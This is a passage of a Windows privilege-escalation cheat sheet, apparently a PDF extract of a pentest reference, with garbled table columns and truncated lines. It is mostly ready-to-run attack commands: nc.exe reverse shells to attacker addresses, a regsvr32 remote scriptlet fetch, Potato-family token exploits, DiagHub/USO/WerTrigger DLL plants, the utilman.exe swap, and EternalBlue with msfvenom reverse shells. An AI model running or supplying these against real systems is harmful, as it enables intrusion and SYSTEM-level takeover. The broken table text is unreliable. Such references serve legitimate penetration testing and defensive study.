[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e

EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for
Privilege Escalation.

# List shadow copies using vssadmin (Needs Admnistrator Access)

vssadmin list shadows

# List shadow copies using diskshadow

diskshadow list shadows all

# Make a symlink to the shadow copy and access it

mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

EoP - From local administrator to NT SYSTEM

 PsExec.exe -i -s cmd.exe

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://tinyurl.com/y6ct9yf9

The goal of the LOLBAS project is to document every binary, script, and library that can be
used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra
"unexpected" functionality. It is not interesting to document intended use cases. Exceptions
are application whitelisting bypasses
Have functionality that would be useful to an APT or red team

wmic.exe process call create calc

regsvr32 /s /n /u /i:https://tinyurl.com/2a8yook3 scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml

EoP - Impersonation Privileges

Full privileges cheatsheet at https://tinyurl.com/2cv7an8v summary below will only list direct
ways to exploit the privilege to obtain an admin session or read sensitive files.

Privilege Impact Tool Execution path Remark

"It would allow a user

to impersonate tokens
Thank you Auréli
and privesc to nt
3rd party for the update. I
SeAssignPrimaryToken Admin system using tools
tool re-phrase it to so
such as potato.exe,
more recipe-like
rottenpotato.exe and
juicypotato.exe"

- May be more in
if you can read
%WINDIR%\MEM

- SeBackupPriv
SeBackup Threat Built-in Read sensitve files (and robocopy) i
commands with robocopy /b helpful when it c
open files.

- Robocopy requ
SeBackup and S
to work with /b p

Create arbitrary token

3rd party including local admin
SeCreateToken Admin
tool rights with
NtCreateToken .

Duplicate the Script to be foun

SeDebug Admin PowerShell
lsass.exe token. FuzzySecurity

1. Load buggy kernel

driver such as
szkg64.sys or
capcom.sys
2. Exploit the driver 1. The szkg64
vulnerability vulnerability is lis
3rd party CVE-2018-15732
SeLoadDriver Admin
tool Alternatively, the 2. The szkg64
privilege may be used code was create
to unload security- Parvez Anwar
related drivers with
ftlMC builtin
command. i.e.: fltMC
sysmondrv

1. Launch
PowerShell/ISE with
the SeRestore
privilege present. Attack may be de
2. Enable the privilege some AV softwar
with Enable-
SeRestorePrivilege). Alternative meth
SeRestore Admin PowerShell
3. Rename utilman.exe on replacing serv
to utilman.old binaries stored in
4. Rename cmd.exe to "Program Files"
utilman.exe same privilege.
 5. Lock the console
and press Win+U

1. takeown.exe /f
"%windir%\system32" Attack may be de
2. icalcs.exe some AV softwar
"%windir%\system32"
Built-in /grant Alternative meth
SeTakeOwnership Admin
commands "%username%":F on replacing serv
3. Rename cmd.exe to binaries stored in
utilman.exe "Program Files"
4. Lock the console same privilege.
and press Win+U

Manipulate tokens to
have local admin
rights included. May
3rd party
SeTcb Admin require
tool
SeImpersonate.

To be verified.

Restore A Service Account's Privileges

This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

# https://tinyurl.com/24szthec

c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
 SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z

Meterpreter getsystem and alternatives

meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://tinyurl.com/2dcqakre

RottenPotato (Token Impersonation)

Binary available at : foxglovesec/RottenPotato and breenmachine/RottenPotatoNG
Exploit using Metasploit with incognito mode loaded.

getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"

Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -

Juicy Potato (Abusing the golden privileges)

If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato

Binary available at : ohpe/juicy-potato

1. Check the privileges of the service account, you should look for SeImpersonate and/or
SeAssignPrimaryToken (Impersonate a client after authentication)
 whoami /priv

2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that
identifies a COM class object

Windows 7 Enterprise
Windows 8.1 Enterprise
Windows 10 Enterprise
Windows 10 Professional
Windows Server 2008 R2 Enterprise
Windows Server 2012 Datacenter
Windows Server 2016 Standard

3. Execute JuicyPotato to run a privileged command.

JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.

JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Rogue Potato (Fake OXID Resolver)

Binary available at antonioCoco/RoguePotato

# Network redirector / port forwarder to run on your remote machine, must use port 1
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxi
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999

RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and spec
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-7
EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
Binary available at https://tinyurl.com/23dbbqvr

# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs

JuicyPotatoNG
antonioCoco/JuicyPotatoNG

JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypot

EoP - Privileged File Write

DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary
DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects
trace information and is programmatically exposed via DCOM. This DCOM object can be used to
load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32
directory.

Exploit

1. Create an evil DLL e.g: payload.dll and move it into C:\Windows\System32

2. Build https://tinyurl.com/2xlyyjuz
3. diaghub.exe c:\\ProgramData\\ payload.dll

The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -

e cmd.exe

Alternative tools:
 https://tinyurl.com/2b7rwrc6
https://tinyurl.com/2dfj95aj

UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10
Insider Preview.

An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a.
@tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we

could copy our own version of windowscoredeviceinfo.dll into C:\Windows\Sytem32\ and
then have it loaded by the USO service to get arbitrary code execution as NT
AUTHORITY\System.

Exploit

1. Build https://tinyurl.com/29rz3v7r
Select Release config and x64 architecure.
Build solution.
DLL .\x64\Release\WindowsCoreDeviceInfo.dll
Loader .\x64\Release\UsoDllLoader.exe.
2. Copy WindowsCoreDeviceInfo.dll to C:\Windows\System32\
3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and
connect to the bind shell on port 1337.

WerTrigger
Exploit Privileged File Writes bugs with Windows Problem Reporting

1. Clone https://tinyurl.com/269v4hov
2. Copy phoneinfo.dll to C:\Windows\System32\
3. Place Report.wer file and WerTrigger.exe in a same directory.
4. Then, run WerTrigger.exe .
5. Enjoy a shell as NT AUTHORITY\SYSTEM

WerMgr
Exploit Privileged Directory Creation Bugs with Windows Error Reporting
 nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>

Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion .

auxiliary/
admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalCh
auxiliary/
scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/
windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel
exploit/
windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel
exploit/
windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/Eternal

If you can't use Metasploit and only want a reverse shell.

git clone https://tinyurl.com/2ccy84d8

# generate a simple reverse shell to use

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f
python2 send_and_execute.py 10.0.0.1 revshell.exe

CVE-2019-1388
Exploit : https://tinyurl.com/26vn372z

Requirement:

Windows 7
Windows 10 LTSC 10240

Failing on :

LTSC 2019
1709
1803

Detailed information about the vulnerability : https://tinyurl.com/svj5y3v

References
icacls - Docs Microsoft
Privilege Escalation Windows - Philip Linghammar
Windows elevation of privileges - Guifre Ruiz
The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
Basic Linux Privilege Escalation
Windows Privilege Escalation Fundamentals
TOP–10 ways to boost your privileges in Windows systems - hackmag
The SYSTEM Challenge
Windows Privilege Escalation Guide - absolomb's security blog
Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs
Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability -
September 18th, 2016 - Robert Russell
Pentestlab.blog - WPE-01 - Stored Credentials
Pentestlab.blog - WPE-02 - Windows Kernel
Pentestlab.blog - WPE-03 - DLL Injection
Pentestlab.blog - WPE-04 - Weak Service Permissions
Pentestlab.blog - WPE-05 - DLL Hijacking
Pentestlab.blog - WPE-06 - Hot Potato
Pentestlab.blog - WPE-07 - Group Policy Preferences
Pentestlab.blog - WPE-08 - Unquoted Service Path
Pentestlab.blog - WPE-09 - Always Install Elevated
Pentestlab.blog - WPE-10 - Token Manipulation
Pentestlab.blog - WPE-11 - Secondary Logon Handle
Pentestlab.blog - WPE-12 - Insecure Registry Permissions
Pentestlab.blog - WPE-13 - Intel SYSRET
Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @xpn
Living Off The Land Binaries and Scripts (and now also Libraries)
Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec
Local Privilege Escalation Workshop - Slides.pdf - @sagishahar
Abusing Diaghub - xct - March 07, 2019
Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege -
James Forshaw, Project Zero - Wednesday, April 18, 2018
Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19,
2019
Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para
Windows
Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO
Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)
ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS
- March 17, 2022 | Simon Zuckerbraun
Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian
Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code
IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_
Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020